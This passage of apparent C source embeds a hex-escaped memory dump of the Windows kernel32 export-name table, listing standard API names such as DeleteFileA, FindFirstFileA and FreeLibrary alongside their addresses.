cess.DebugSetPro\n/* 7C805420 */ \"\\x63\\x65\\x73\\x73\\x4B\\x69\\x6C\\x6C\\x4F\\x6E\\x45\\x78\\x69\\x74\\x00\\x44\" // cessKillOnExit.D\n/* 7C805430 */ \"\\x65\\x63\\x6F\\x64\\x65\\x50\\x6F\\x69\\x6E\\x74\\x65\\x72\\x00\\x44\\x65\\x63\" // ecodePointer.Dec\n/* 7C805440 */ \"\\x6F\\x64\\x65\\x53\\x79\\x73\\x74\\x65\\x6D\\x50\\x6F\\x69\\x6E\\x74\\x65\\x72\" // odeSystemPointer\n/* 7C805450 */ \"\\x00\\x44\\x65\\x66\\x69\\x6E\\x65\\x44\\x6F\\x73\\x44\\x65\\x76\\x69\\x63\\x65\" // .DefineDosDevice\n/* 7C805460 */ \"\\x41\\x00\\x44\\x65\\x66\\x69\\x6E\\x65\\x44\\x6F\\x73\\x44\\x65\\x76\\x69\\x63\" // A.DefineDosDevic\n/* 7C805470 */ \"\\x65\\x57\\x00\\x44\\x65\\x6C\\x61\\x79\\x4C\\x6F\\x61\\x64\\x46\\x61\\x69\\x6C\" // eW.DelayLoadFail\n/* 7C805480 */ \"\\x75\\x72\\x65\\x48\\x6F\\x6F\\x6B\\x00\\x44\\x65\\x6C\\x65\\x74\\x65\\x41\\x74\" // ureHook.DeleteAt\n/* 7C805490 */ \"\\x6F\\x6D\\x00\\x44\\x65\\x6C\\x65\\x74\\x65\\x43\\x72\\x69\\x74\\x69\\x63\\x61\" // om.DeleteCritica\n/* 7C8054A0 */ \"\\x6C\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x00\\x44\\x65\\x6C\\x65\\x74\\x65\\x46\" // lSection.DeleteF\n/* 7C8054B0 */ \"\\x69\\x62\\x65\\x72\\x00\\x44\\x65\\x6C\\x65\\x74\\x65\\x46\\x69\\x6C\\x65\\x41\" // iber.DeleteFileA\n/* 7C8054C0 */ \"\\x00\\x44\\x65\\x6C\\x65\\x74\\x65\\x46\\x69\\x6C\\x65\\x57\\x00\\x44\\x65\\x6C\" // .DeleteFileW.Del\n/* 7C8054D0 */ \"\\x65\\x74\\x65\\x54\\x69\\x6D\\x65\\x72\\x51\\x75\\x65\\x75\\x65\\x00\\x44\\x65\" // eteTimerQueue.De\n/* 7C8054E0 */ \"\\x6C\\x65\\x74\\x65\\x54\\x69\\x6D\\x65\\x72\\x51\\x75\\x65\\x75\\x65\\x45\\x78\" // leteTimerQueueEx\n/* 7C8054F0 */ \"\\x00\\x44\\x65\\x6C\\x65\\x74\\x65\\x54\\x69\\x6D\\x65\\x72\\x51\\x75\\x65\\x75\" // .DeleteTimerQueu\n/* 7C805500 */ \"\\x65\\x54\\x69\\x6D\\x65\\x72\\x00\\x44\\x65\\x6C\\x65\\x74\\x65\\x56\\x6F\\x6C\" // eTimer.DeleteVol\n/* 7C805510 */ \"\\x75\\x6D\\x65\\x4D\\x6F\\x75\\x6E\\x74\\x50\\x6F\\x69\\x6E\\x74\\x41\\x00\\x44\" // umeMountPointA.D\n/* 7C805520 */ \"\\x65\\x6C\\x65\\x74\\x65\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x4D\\x6F\\x75\\x6E\\x74\" // eleteVolumeMount\n/* 7C805530 */ \"\\x50\\x6F\\x69\\x6E\\x74\\x57\\x00\\x44\\x65\\x76\\x69\\x63\\x65\\x49\\x6F\\x43\" // PointW.DeviceIoC\n/* 7C805540 */ \"\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x00\\x44\\x69\\x73\\x61\\x62\\x6C\\x65\\x54\\x68\" // ontrol.DisableTh\n/* 7C805550 */ \"\\x72\\x65\\x61\\x64\\x4C\\x69\\x62\\x72\\x61\\x72\\x79\\x43\\x61\\x6C\\x6C\\x73\" // readLibraryCalls\n/* 7C805560 */ \"\\x00\\x44\\x69\\x73\\x63\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x4E\\x61\\x6D\\x65\\x64\" // .DisconnectNamed\n/* 7C805570 */ \"\\x50\\x69\\x70\\x65\\x00\\x44\\x6E\\x73\\x48\\x6F\\x73\\x74\\x6E\\x61\\x6D\\x65\" // Pipe.DnsHostname\n/* 7C805580 */ \"\\x54\\x6F\\x43\\x6F\\x6D\\x70\\x75\\x74\\x65\\x72\\x4E\\x61\\x6D\\x65\\x41\\x00\" // ToComputerNameA.\n/* 7C805590 */ \"\\x44\\x6E\\x73\\x48\\x6F\\x73\\x74\\x6E\\x61\\x6D\\x65\\x54\\x6F\\x43\\x6F\\x6D\" // DnsHostnameToCom\n/* 7C8055A0 */ \"\\x70\\x75\\x74\\x65\\x72\\x4E\\x61\\x6D\\x65\\x57\\x00\\x44\\x6F\\x73\\x44\\x61\" // puterNameW.DosDa\n/* 7C8055B0 */ \"\\x74\\x65\\x54\\x69\\x6D\\x65\\x54\\x6F\\x46\\x69\\x6C\\x65\\x54\\x69\\x6D\\x65\" // teTimeToFileTime\n/* 7C8055C0 */ \"\\x00\\x44\\x6F\\x73\\x50\\x61\\x74\\x68\\x54\\x6F\\x53\\x65\\x73\\x73\\x69\\x6F\" // .DosPathToSessio\n/* 7C8055D0 */ \"\\x6E\\x50\\x61\\x74\\x68\\x41\\x00\\x44\\x6F\\x73\\x50\\x61\\x74\\x68\\x54\\x6F\" // nPathA.DosPathTo\n/* 7C8055E0 */ \"\\x53\\x65\\x73\\x73\\x69\\x6F\\x6E\\x50\\x61\\x74\\x68\\x57\\x00\\x44\\x75\\x70\" // SessionPathW.Dup\n/* 7C8055F0 */ \"\\x6C\\x69\\x63\\x61\\x74\\x65\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x48\\x61\\x6E\" // licateConsoleHan\n/* 7C805600 */ \"\\x64\\x6C\\x65\\x00\\x44\\x75\\x70\\x6C\\x69\\x63\\x61\\x74\\x65\\x48\\x61\\x6E\" // dle.DuplicateHan\n/* 7C805610 */ \"\\x64\\x6C\\x65\\x00\\x45\\x6E\\x63\\x6F\\x64\\x65\\x50\\x6F\\x69\\x6E\\x74\\x65\" // dle.EncodePointe\n/* 7C805620 */ \"\\x72\\x00\\x45\\x6E\\x63\\x6F\\x64\\x65\\x53\\x79\\x73\\x74\\x65\\x6D\\x50\\x6F\" // r.EncodeSystemPo\n/* 7C805630 */ \"\\x69\\x6E\\x74\\x65\\x72\\x00\\x45\\x6E\\x64\\x55\\x70\\x64\\x61\\x74\\x65\\x52\" // inter.EndUpdateR\n/* 7C805640 */ \"\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x41\\x00\\x45\\x6E\\x64\\x55\\x70\\x64\\x61\" // esourceA.EndUpda\n/* 7C805650 */ \"\\x74\\x65\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x57\\x00\\x45\\x6E\\x74\\x65\" // teResourceW.Ente\n/* 7C805660 */ \"\\x72\\x43\\x72\\x69\\x74\\x69\\x63\\x61\\x6C\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\" // rCriticalSection\n/* 7C805670 */ \"\\x00\\x45\\x6E\\x75\\x6D\\x43\\x61\\x6C\\x65\\x6E\\x64\\x61\\x72\\x49\\x6E\\x66\" // .EnumCalendarInf\n/* 7C805680 */ \"\\x6F\\x41\\x00\\x45\\x6E\\x75\\x6D\\x43\\x61\\x6C\\x65\\x6E\\x64\\x61\\x72\\x49\" // oA.EnumCalendarI\n/* 7C805690 */ \"\\x6E\\x66\\x6F\\x45\\x78\\x41\\x00\\x45\\x6E\\x75\\x6D\\x43\\x61\\x6C\\x65\\x6E\" // nfoExA.EnumCalen\n/* 7C8056A0 */ \"\\x64\\x61\\x72\\x49\\x6E\\x66\\x6F\\x45\\x78\\x57\\x00\\x45\\x6E\\x75\\x6D\\x43\" // darInfoExW.EnumC\n/* 7C8056B0 */ \"\\x61\\x6C\\x65\\x6E\\x64\\x61\\x72\\x49\\x6E\\x66\\x6F\\x57\\x00\\x45\\x6E\\x75\" // alendarInfoW.Enu\n/* 7C8056C0 */ \"\\x6D\\x44\\x61\\x74\\x65\\x46\\x6F\\x72\\x6D\\x61\\x74\\x73\\x41\\x00\\x45\\x6E\" // mDateFormatsA.En\n/* 7C8056D0 */ \"\\x75\\x6D\\x44\\x61\\x74\\x65\\x46\\x6F\\x72\\x6D\\x61\\x74\\x73\\x45\\x78\\x41\" // umDateFormatsExA\n/* 7C8056E0 */ \"\\x00\\x45\\x6E\\x75\\x6D\\x44\\x61\\x74\\x65\\x46\\x6F\\x72\\x6D\\x61\\x74\\x73\" // .EnumDateFormats\n/* 7C8056F0 */ \"\\x45\\x78\\x57\\x00\\x45\\x6E\\x75\\x6D\\x44\\x61\\x74\\x65\\x46\\x6F\\x72\\x6D\" // ExW.EnumDateForm\n/* 7C805700 */ \"\\x61\\x74\\x73\\x57\\x00\\x45\\x6E\\x75\\x6D\\x4C\\x61\\x6E\\x67\\x75\\x61\\x67\" // atsW.EnumLanguag\n/* 7C805710 */ \"\\x65\\x47\\x72\\x6F\\x75\\x70\\x4C\\x6F\\x63\\x61\\x6C\\x65\\x73\\x41\\x00\\x45\" // eGroupLocalesA.E\n/* 7C805720 */ \"\\x6E\\x75\\x6D\\x4C\\x61\\x6E\\x67\\x75\\x61\\x67\\x65\\x47\\x72\\x6F\\x75\\x70\" // numLanguageGroup\n/* 7C805730 */ \"\\x4C\\x6F\\x63\\x61\\x6C\\x65\\x73\\x57\\x00\\x45\\x6E\\x75\\x6D\\x52\\x65\\x73\" // LocalesW.EnumRes\n/* 7C805740 */ \"\\x6F\\x75\\x72\\x63\\x65\\x4C\\x61\\x6E\\x67\\x75\\x61\\x67\\x65\\x73\\x41\\x00\" // ourceLanguagesA.\n/* 7C805750 */ \"\\x45\\x6E\\x75\\x6D\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x4C\\x61\\x6E\\x67\" // EnumResourceLang\n/* 7C805760 */ \"\\x75\\x61\\x67\\x65\\x73\\x57\\x00\\x45\\x6E\\x75\\x6D\\x52\\x65\\x73\\x6F\\x75\" // uagesW.EnumResou\n/* 7C805770 */ \"\\x72\\x63\\x65\\x4E\\x61\\x6D\\x65\\x73\\x41\\x00\\x45\\x6E\\x75\\x6D\\x52\\x65\" // rceNamesA.EnumRe\n/* 7C805780 */ \"\\x73\\x6F\\x75\\x72\\x63\\x65\\x4E\\x61\\x6D\\x65\\x73\\x57\\x00\\x45\\x6E\\x75\" // sourceNamesW.Enu\n/* 7C805790 */ \"\\x6D\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x54\\x79\\x70\\x65\\x73\\x41\\x00\" // mResourceTypesA.\n/* 7C8057A0 */ \"\\x45\\x6E\\x75\\x6D\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x54\\x79\\x70\\x65\" // EnumResourceType\n/* 7C8057B0 */ \"\\x73\\x57\\x00\\x45\\x6E\\x75\\x6D\\x53\\x79\\x73\\x74\\x65\\x6D\\x43\\x6F\\x64\" // sW.EnumSystemCod\n/* 7C8057C0 */ \"\\x65\\x50\\x61\\x67\\x65\\x73\\x41\\x00\\x45\\x6E\\x75\\x6D\\x53\\x79\\x73\\x74\" // ePagesA.EnumSyst\n/* 7C8057D0 */ \"\\x65\\x6D\\x43\\x6F\\x64\\x65\\x50\\x61\\x67\\x65\\x73\\x57\\x00\\x45\\x6E\\x75\" // emCodePagesW.Enu\n/* 7C8057E0 */ \"\\x6D\\x53\\x79\\x73\\x74\\x65\\x6D\\x47\\x65\\x6F\\x49\\x44\\x00\\x45\\x6E\\x75\" // mSystemGeoID.Enu\n/* 7C8057F0 */ \"\\x6D\\x53\\x79\\x73\\x74\\x65\\x6D\\x4C\\x61\\x6E\\x67\\x75\\x61\\x67\\x65\\x47\" // mSystemLanguageG\n/* 7C805800 */ \"\\x72\\x6F\\x75\\x70\\x73\\x41\\x00\\x45\\x6E\\x75\\x6D\\x53\\x79\\x73\\x74\\x65\" // roupsA.EnumSyste\n/* 7C805810 */ \"\\x6D\\x4C\\x61\\x6E\\x67\\x75\\x61\\x67\\x65\\x47\\x72\\x6F\\x75\\x70\\x73\\x57\" // mLanguageGroupsW\n/* 7C805820 */ \"\\x00\\x45\\x6E\\x75\\x6D\\x53\\x79\\x73\\x74\\x65\\x6D\\x4C\\x6F\\x63\\x61\\x6C\" // .EnumSystemLocal\n/* 7C805830 */ \"\\x65\\x73\\x41\\x00\\x45\\x6E\\x75\\x6D\\x53\\x79\\x73\\x74\\x65\\x6D\\x4C\\x6F\" // esA.EnumSystemLo\n/* 7C805840 */ \"\\x63\\x61\\x6C\\x65\\x73\\x57\\x00\\x45\\x6E\\x75\\x6D\\x54\\x69\\x6D\\x65\\x46\" // calesW.EnumTimeF\n/* 7C805850 */ \"\\x6F\\x72\\x6D\\x61\\x74\\x73\\x41\\x00\\x45\\x6E\\x75\\x6D\\x54\\x69\\x6D\\x65\" // ormatsA.EnumTime\n/* 7C805860 */ \"\\x46\\x6F\\x72\\x6D\\x61\\x74\\x73\\x57\\x00\\x45\\x6E\\x75\\x6D\\x55\\x49\\x4C\" // FormatsW.EnumUIL\n/* 7C805870 */ \"\\x61\\x6E\\x67\\x75\\x61\\x67\\x65\\x73\\x41\\x00\\x45\\x6E\\x75\\x6D\\x55\\x49\" // anguagesA.EnumUI\n/* 7C805880 */ \"\\x4C\\x61\\x6E\\x67\\x75\\x61\\x67\\x65\\x73\\x57\\x00\\x45\\x6E\\x75\\x6D\\x65\" // LanguagesW.Enume\n/* 7C805890 */ \"\\x72\\x61\\x74\\x65\\x4C\\x6F\\x63\\x61\\x6C\\x43\\x6F\\x6D\\x70\\x75\\x74\\x65\" // rateLocalCompute\n/* 7C8058A0 */ \"\\x72\\x4E\\x61\\x6D\\x65\\x73\\x41\\x00\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\" // rNamesA.Enumerat\n/* 7C8058B0 */ \"\\x65\\x4C\\x6F\\x63\\x61\\x6C\\x43\\x6F\\x6D\\x70\\x75\\x74\\x65\\x72\\x4E\\x61\" // eLocalComputerNa\n/* 7C8058C0 */ \"\\x6D\\x65\\x73\\x57\\x00\\x45\\x72\\x61\\x73\\x65\\x54\\x61\\x70\\x65\\x00\\x45\" // mesW.EraseTape.E\n/* 7C8058D0 */ \"\\x73\\x63\\x61\\x70\\x65\\x43\\x6F\\x6D\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\" // scapeCommFunctio\n/* 7C8058E0 */ \"\\x6E\\x00\\x45\\x78\\x69\\x74\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x45\\x78\" // n.ExitProcess.Ex\n/* 7C8058F0 */ \"\\x69\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x45\\x78\\x69\\x74\\x56\\x44\\x4D\" // itThread.ExitVDM\n/* 7C805900 */ \"\\x00\\x45\\x78\\x70\\x61\\x6E\\x64\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\" // .ExpandEnvironme\n/* 7C805910 */ \"\\x6E\\x74\\x53\\x74\\x72\\x69\\x6E\\x67\\x73\\x41\\x00\\x45\\x78\\x70\\x61\\x6E\" // ntStringsA.Expan\n/* 7C805920 */ \"\\x64\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x53\\x74\\x72\\x69\" // dEnvironmentStri\n/* 7C805930 */ \"\\x6E\\x67\\x73\\x57\\x00\\x45\\x78\\x70\\x75\\x6E\\x67\\x65\\x43\\x6F\\x6E\\x73\" // ngsW.ExpungeCons\n/* 7C805940 */ \"\\x6F\\x6C\\x65\\x43\\x6F\\x6D\\x6D\\x61\\x6E\\x64\\x48\\x69\\x73\\x74\\x6F\\x72\" // oleCommandHistor\n/* 7C805950 */ \"\\x79\\x41\\x00\\x45\\x78\\x70\\x75\\x6E\\x67\\x65\\x43\\x6F\\x6E\\x73\\x6F\\x6C\" // yA.ExpungeConsol\n/* 7C805960 */ \"\\x65\\x43\\x6F\\x6D\\x6D\\x61\\x6E\\x64\\x48\\x69\\x73\\x74\\x6F\\x72\\x79\\x57\" // eCommandHistoryW\n/* 7C805970 */ \"\\x00\\x45\\x78\\x74\\x65\\x6E\\x64\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x42\\x75\" // .ExtendVirtualBu\n/* 7C805980 */ \"\\x66\\x66\\x65\\x72\\x00\\x46\\x61\\x74\\x61\\x6C\\x41\\x70\\x70\\x45\\x78\\x69\" // ffer.FatalAppExi\n/* 7C805990 */ \"\\x74\\x41\\x00\\x46\\x61\\x74\\x61\\x6C\\x41\\x70\\x70\\x45\\x78\\x69\\x74\\x57\" // tA.FatalAppExitW\n/* 7C8059A0 */ \"\\x00\\x46\\x61\\x74\\x61\\x6C\\x45\\x78\\x69\\x74\\x00\\x46\\x69\\x6C\\x65\\x54\" // .FatalExit.FileT\n/* 7C8059B0 */ \"\\x69\\x6D\\x65\\x54\\x6F\\x44\\x6F\\x73\\x44\\x61\\x74\\x65\\x54\\x69\\x6D\\x65\" // imeToDosDateTime\n/* 7C8059C0 */ \"\\x00\\x46\\x69\\x6C\\x65\\x54\\x69\\x6D\\x65\\x54\\x6F\\x4C\\x6F\\x63\\x61\\x6C\" // .FileTimeToLocal\n/* 7C8059D0 */ \"\\x46\\x69\\x6C\\x65\\x54\\x69\\x6D\\x65\\x00\\x46\\x69\\x6C\\x65\\x54\\x69\\x6D\" // FileTime.FileTim\n/* 7C8059E0 */ \"\\x65\\x54\\x6F\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\\x00\\x46\\x69\" // eToSystemTime.Fi\n/* 7C8059F0 */ \"\\x6C\\x6C\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x4F\\x75\\x74\\x70\\x75\\x74\\x41\" // llConsoleOutputA\n/* 7C805A00 */ \"\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x00\\x46\\x69\\x6C\\x6C\\x43\\x6F\\x6E\" // ttribute.FillCon\n/* 7C805A10 */ \"\\x73\\x6F\\x6C\\x65\\x4F\\x75\\x74\\x70\\x75\\x74\\x43\\x68\\x61\\x72\\x61\\x63\" // soleOutputCharac\n/* 7C805A20 */ \"\\x74\\x65\\x72\\x41\\x00\\x46\\x69\\x6C\\x6C\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\" // terA.FillConsole\n/* 7C805A30 */ \"\\x4F\\x75\\x74\\x70\\x75\\x74\\x43\\x68\\x61\\x72\\x61\\x63\\x74\\x65\\x72\\x57\" // OutputCharacterW\n/* 7C805A40 */ \"\\x00\\x46\\x69\\x6E\\x64\\x41\\x63\\x74\\x43\\x74\\x78\\x53\\x65\\x63\\x74\\x69\" // .FindActCtxSecti\n/* 7C805A50 */ \"\\x6F\\x6E\\x47\\x75\\x69\\x64\\x00\\x46\\x69\\x6E\\x64\\x41\\x63\\x74\\x43\\x74\" // onGuid.FindActCt\n/* 7C805A60 */ \"\\x78\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x53\\x74\\x72\\x69\\x6E\\x67\\x41\\x00\" // xSectionStringA.\n/* 7C805A70 */ \"\\x46\\x69\\x6E\\x64\\x41\\x63\\x74\\x43\\x74\\x78\\x53\\x65\\x63\\x74\\x69\\x6F\" // FindActCtxSectio\n/* 7C805A80 */ \"\\x6E\\x53\\x74\\x72\\x69\\x6E\\x67\\x57\\x00\\x46\\x69\\x6E\\x64\\x41\\x74\\x6F\" // nStringW.FindAto\n/* 7C805A90 */ \"\\x6D\\x41\\x00\\x46\\x69\\x6E\\x64\\x41\\x74\\x6F\\x6D\\x57\\x00\\x46\\x69\\x6E\" // mA.FindAtomW.Fin\n/* 7C805AA0 */ \"\\x64\\x43\\x6C\\x6F\\x73\\x65\\x00\\x46\\x69\\x6E\\x64\\x43\\x6C\\x6F\\x73\\x65\" // dClose.FindClose\n/* 7C805AB0 */ \"\\x43\\x68\\x61\\x6E\\x67\\x65\\x4E\\x6F\\x74\\x69\\x66\\x69\\x63\\x61\\x74\\x69\" // ChangeNotificati\n/* 7C805AC0 */ \"\\x6F\\x6E\\x00\\x46\\x69\\x6E\\x64\\x46\\x69\\x72\\x73\\x74\\x43\\x68\\x61\\x6E\" // on.FindFirstChan\n/* 7C805AD0 */ \"\\x67\\x65\\x4E\\x6F\\x74\\x69\\x66\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x41\\x00\" // geNotificationA.\n/* 7C805AE0 */ \"\\x46\\x69\\x6E\\x64\\x46\\x69\\x72\\x73\\x74\\x43\\x68\\x61\\x6E\\x67\\x65\\x4E\" // FindFirstChangeN\n/* 7C805AF0 */ \"\\x6F\\x74\\x69\\x66\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x57\\x00\\x46\\x69\\x6E\" // otificationW.Fin\n/* 7C805B00 */ \"\\x64\\x46\\x69\\x72\\x73\\x74\\x46\\x69\\x6C\\x65\\x41\\x00\\x46\\x69\\x6E\\x64\" // dFirstFileA.Find\n/* 7C805B10 */ \"\\x46\\x69\\x72\\x73\\x74\\x46\\x69\\x6C\\x65\\x45\\x78\\x41\\x00\\x46\\x69\\x6E\" // FirstFileExA.Fin\n/* 7C805B20 */ \"\\x64\\x46\\x69\\x72\\x73\\x74\\x46\\x69\\x6C\\x65\\x45\\x78\\x57\\x00\\x46\\x69\" // dFirstFileExW.Fi\n/* 7C805B30 */ \"\\x6E\\x64\\x46\\x69\\x72\\x73\\x74\\x46\\x69\\x6C\\x65\\x57\\x00\\x46\\x69\\x6E\" // ndFirstFileW.Fin\n/* 7C805B40 */ \"\\x64\\x46\\x69\\x72\\x73\\x74\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x41\\x00\\x46\\x69\" // dFirstVolumeA.Fi\n/* 7C805B50 */ \"\\x6E\\x64\\x46\\x69\\x72\\x73\\x74\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x4D\\x6F\\x75\" // ndFirstVolumeMou\n/* 7C805B60 */ \"\\x6E\\x74\\x50\\x6F\\x69\\x6E\\x74\\x41\\x00\\x46\\x69\\x6E\\x64\\x46\\x69\\x72\" // ntPointA.FindFir\n/* 7C805B70 */ \"\\x73\\x74\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x4D\\x6F\\x75\\x6E\\x74\\x50\\x6F\\x69\" // stVolumeMountPoi\n/* 7C805B80 */ \"\\x6E\\x74\\x57\\x00\\x46\\x69\\x6E\\x64\\x46\\x69\\x72\\x73\\x74\\x56\\x6F\\x6C\" // ntW.FindFirstVol\n/* 7C805B90 */ \"\\x75\\x6D\\x65\\x57\\x00\\x46\\x69\\x6E\\x64\\x4E\\x65\\x78\\x74\\x43\\x68\\x61\" // umeW.FindNextCha\n/* 7C805BA0 */ \"\\x6E\\x67\\x65\\x4E\\x6F\\x74\\x69\\x66\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x00\" // ngeNotification.\n/* 7C805BB0 */ \"\\x46\\x69\\x6E\\x64\\x4E\\x65\\x78\\x74\\x46\\x69\\x6C\\x65\\x41\\x00\\x46\\x69\" // FindNextFileA.Fi\n/* 7C805BC0 */ \"\\x6E\\x64\\x4E\\x65\\x78\\x74\\x46\\x69\\x6C\\x65\\x57\\x00\\x46\\x69\\x6E\\x64\" // ndNextFileW.Find\n/* 7C805BD0 */ \"\\x4E\\x65\\x78\\x74\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x41\\x00\\x46\\x69\\x6E\\x64\" // NextVolumeA.Find\n/* 7C805BE0 */ \"\\x4E\\x65\\x78\\x74\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x4D\\x6F\\x75\\x6E\\x74\\x50\" // NextVolumeMountP\n/* 7C805BF0 */ \"\\x6F\\x69\\x6E\\x74\\x41\\x00\\x46\\x69\\x6E\\x64\\x4E\\x65\\x78\\x74\\x56\\x6F\" // ointA.FindNextVo\n/* 7C805C00 */ \"\\x6C\\x75\\x6D\\x65\\x4D\\x6F\\x75\\x6E\\x74\\x50\\x6F\\x69\\x6E\\x74\\x57\\x00\" // lumeMountPointW.\n/* 7C805C10 */ \"\\x46\\x69\\x6E\\x64\\x4E\\x65\\x78\\x74\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x57\\x00\" // FindNextVolumeW.\n/* 7C805C20 */ \"\\x46\\x69\\x6E\\x64\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x41\\x00\\x46\\x69\" // FindResourceA.Fi\n/* 7C805C30 */ \"\\x6E\\x64\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x45\\x78\\x41\\x00\\x46\\x69\" // ndResourceExA.Fi\n/* 7C805C40 */ \"\\x6E\\x64\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x45\\x78\\x57\\x00\\x46\\x69\" // ndResourceExW.Fi\n/* 7C805C50 */ \"\\x6E\\x64\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x57\\x00\\x46\\x69\\x6E\\x64\" // ndResourceW.Find\n/* 7C805C60 */ \"\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x43\\x6C\\x6F\\x73\\x65\\x00\\x46\\x69\\x6E\\x64\" // VolumeClose.Find\n/* 7C805C70 */ \"\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x4D\\x6F\\x75\\x6E\\x74\\x50\\x6F\\x69\\x6E\\x74\" // VolumeMountPoint\n/* 7C805C80 */ \"\\x43\\x6C\\x6F\\x73\\x65\\x00\\x46\\x6C\\x75\\x73\\x68\\x43\\x6F\\x6E\\x73\\x6F\" // Close.FlushConso\n/* 7C805C90 */ \"\\x6C\\x65\\x49\\x6E\\x70\\x75\\x74\\x42\\x75\\x66\\x66\\x65\\x72\\x00\\x46\\x6C\" // leInputBuffer.Fl\n/* 7C805CA0 */ \"\\x75\\x73\\x68\\x46\\x69\\x6C\\x65\\x42\\x75\\x66\\x66\\x65\\x72\\x73\\x00\\x46\" // ushFileBuffers.F\n/* 7C805CB0 */ \"\\x6C\\x75\\x73\\x68\\x49\\x6E\\x73\\x74\\x72\\x75\\x63\\x74\\x69\\x6F\\x6E\\x43\" // lushInstructionC\n/* 7C805CC0 */ \"\\x61\\x63\\x68\\x65\\x00\\x46\\x6C\\x75\\x73\\x68\\x56\\x69\\x65\\x77\\x4F\\x66\" // ache.FlushViewOf\n/* 7C805CD0 */ \"\\x46\\x69\\x6C\\x65\\x00\\x46\\x6F\\x6C\\x64\\x53\\x74\\x72\\x69\\x6E\\x67\\x41\" // File.FoldStringA\n/* 7C805CE0 */ \"\\x00\\x46\\x6F\\x6C\\x64\\x53\\x74\\x72\\x69\\x6E\\x67\\x57\\x00\\x46\\x6F\\x72\" // .FoldStringW.For\n/* 7C805CF0 */ \"\\x6D\\x61\\x74\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x41\\x00\\x46\\x6F\\x72\\x6D\" // matMessageA.Form\n/* 7C805D00 */ \"\\x61\\x74\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x57\\x00\\x46\\x72\\x65\\x65\\x43\" // atMessageW.FreeC\n/* 7C805D10 */ \"\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x00\\x46\\x72\\x65\\x65\\x45\\x6E\\x76\\x69\\x72\" // onsole.FreeEnvir\n/* 7C805D20 */ \"\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x53\\x74\\x72\\x69\\x6E\\x67\\x73\\x41\\x00\\x46\" // onmentStringsA.F\n/* 7C805D30 */ \"\\x72\\x65\\x65\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x53\\x74\" // reeEnvironmentSt\n/* 7C805D40 */ \"\\x72\\x69\\x6E\\x67\\x73\\x57\\x00\\x46\\x72\\x65\\x65\\x4C\\x69\\x62\\x72\\x61\" // ringsW.FreeLibra\n/* 7C805D50 */ \"\\x72\\x79\\x00\\x46\\x72\\x65\\x65\\x4C\\x69\\x62\\x72\\x61\\x72\\x79\\x41\\x6E\" // ry.FreeLibraryAn\n/* 7C805D60 */ \"\\x64\\x45\\x78\\x69\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x46\\x72\\x65\\x65\" // dExitThread.Free\n/* 7C805D70 */ \"\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x00\\x46\\x72\\x65\\x65\\x55\\x73\\x65\" // Resource.FreeUse\n/* 7C805D80 */ \"\\x72\\x50\\x68\\x79\\x73\\x69\\x63\\x61\\x6C\\x50\\x61\\x67\\x65\\x73\\x00\\x46\" // rPhysicalPages.F\n/* 7C805D90 */ \"\\x72\\x65\\x65\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x42\\x75\\x66\\x66\\x65\\x72\" // reeVirtualBuffer\n/* 7C805DA0 */ \"\\x00\\x47\\x65\\x6E\\x65\\x72\\x61\\x74\\x65\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\" // .GenerateConsole\n/* 7C805DB0 */ \"\\x43\\x74\\x72\\x6C\\x45\\x76\\x65\\x6E\\x74\\x00\\x47\\x65\\x74\\x41\\x43\\x50\" // CtrlEvent.GetACP\n/* 7C805DC0 */ \"\\x00\\x47\\x65\\x74\\x41\\x74\\x6F\\x6D\\x4E\\x61\\x6D\\x65\\x41\\x00\\x47\\x65\" // .GetAtomNameA.Ge\n/* 7C805DD0 */ \"\\x74\\x41\\x74\\x6F\\x6D\\x4E\\x61\\x6D\\x65\\x57\\x00\\x47\\x65\\x74\\x42\\x69\" // tAtomNameW.GetBi\n/* 7C805DE0 */ 